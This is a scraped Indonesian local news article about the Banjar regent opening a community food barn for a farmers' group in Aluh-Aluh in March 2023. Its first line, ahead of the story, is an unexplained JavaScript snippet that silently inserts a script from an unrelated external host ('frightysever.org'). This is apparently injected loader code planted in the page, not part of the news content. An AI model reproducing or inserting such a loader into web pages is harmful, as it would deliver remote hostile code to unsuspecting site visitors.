(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur berkesempatan bertemu dan menyapa masyarakat Desa Aluh-aluh Kecil Muara, Kecamatan Aluh-aluh, Kabupaten Banjar, Provinsi Kalimantan Selatan, Selasa (14/3/2023) siang.
Saidi Mansyur saat itu membuka resmi Lumbung Pangan Masyarakat (LPM) Gabungan Kelompok Tani (Gapoktan) Tamara Bersama di Desa Aluh-Aluh Kecil Muara.
Sebelum rombongan bupati tiba, masyarakat sudah berdatangan ke lokasi dengan harapan bisa bertatap muka dengan bupati. Intinya warga antusias menyambut kedatangan bupati dan rombongan.
Bupati yang saat itu mengenakan kemeja warna cokelat lengan panjang dipadu celana panjang warna senada saat tiba menyalami warga yang berdiri berjejer menyambut kedatangannya.
Baca juga: Antre Berjam-jam Demi Beras 5 Kg Harga 45 Ribu Rupiah di Banjarmasin
Senyum terus mengembang dari bibirnya dan sesekali berbincang dengan warga.
Saat membuka resmi Lumbung Pangan Masyarakat (LPM) Gabungan Kelompok Tani (Gapoktan) Tamara Bersama, dia menyatakan pangan merupakan kebutuhan yang sangat mendasar bagi manusia dan menjadi salah satu hak asasi, karena setiap insan didunia mempunyai hak untuk bebas dari kelaparan.
Karenanya, pemerintah daerah berkomitmen untuk mewujudkan kedaulatan ketahanan pangan, dengan berperan strategis dalam menunjang pembangunan nasional.
Menurut dia, selain untuk memenuhi hak yang paling asasi, ketahanan pangan sangat penting dalam mewujudkan SDM yang berkualitas dan menjadi salah satu pilar utama menopang ketahanan ekonomi yang berkelanjutan dan komprehensif.
“Manfaat LPM banyak, selain untuk kesejahteraan bisa juga untuk kebencanaan, stok pangan hingga ekonomi produktif,” imbuh dia.
Baca juga: Siswa Dibagi Dua Shift, Pasca Kebakaran SMPN 3 Banjarbaru Rehab Total Habiskan Rp 8,5 Miliar
Bupati berharap, LPM ini bisa terus hadir ditengah masyarakat yang mayoritasnya hampir 60 persen bertani dan menginginkan koordinasi yang baik antara DKPP Banjar dengan pemerintah pusat sehingga Kabupaten Banjar bisa memberikan kontribusi positif khususnya di bidang pertanian di lumbung ketahanan pangan.
Sejauh ini LPM di Kabupaten Banjar berhasil dirampungkan sebanyak 21 unit di lokasi yang berbeda dengan anggaran bersumber dari Dana Alokasi Khusus (DAK) maupun Anggaran Pendapatan Belanja Daerah (APBD) diantaranya LPM Gapoktan Tunas Harapan di Kecamatan Astambul dan Gapoktan Tamara Bersama di Kecamatan Aluh-Aluh.
Peresmian ditandai dengan pembukaan tirai nama Gapoktan dan pemotongan untaian melati, dilanjutkan peninjauan sarana pendukungnya berupa mesin Rice Milling Unit (RMU) dan Bed Dryer atau pengering padi, difasilitasi untuk mewujudkan ketahanan pangan wilayah serta meningkatkan kesejahteraan para petani.
Hadir mendampingi bupati saat itu, antara lain Kepala Dinas Ketahanan Pangan dan Perikanan (DKPP) Ahmadi, beberapa Kepala SKPD terkait, Camat Aluh-aluh Aditya Yudi Dharma, para pembakal dan warga setempat. (kanalkalimantan.com/rls)
Reporter: rls
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.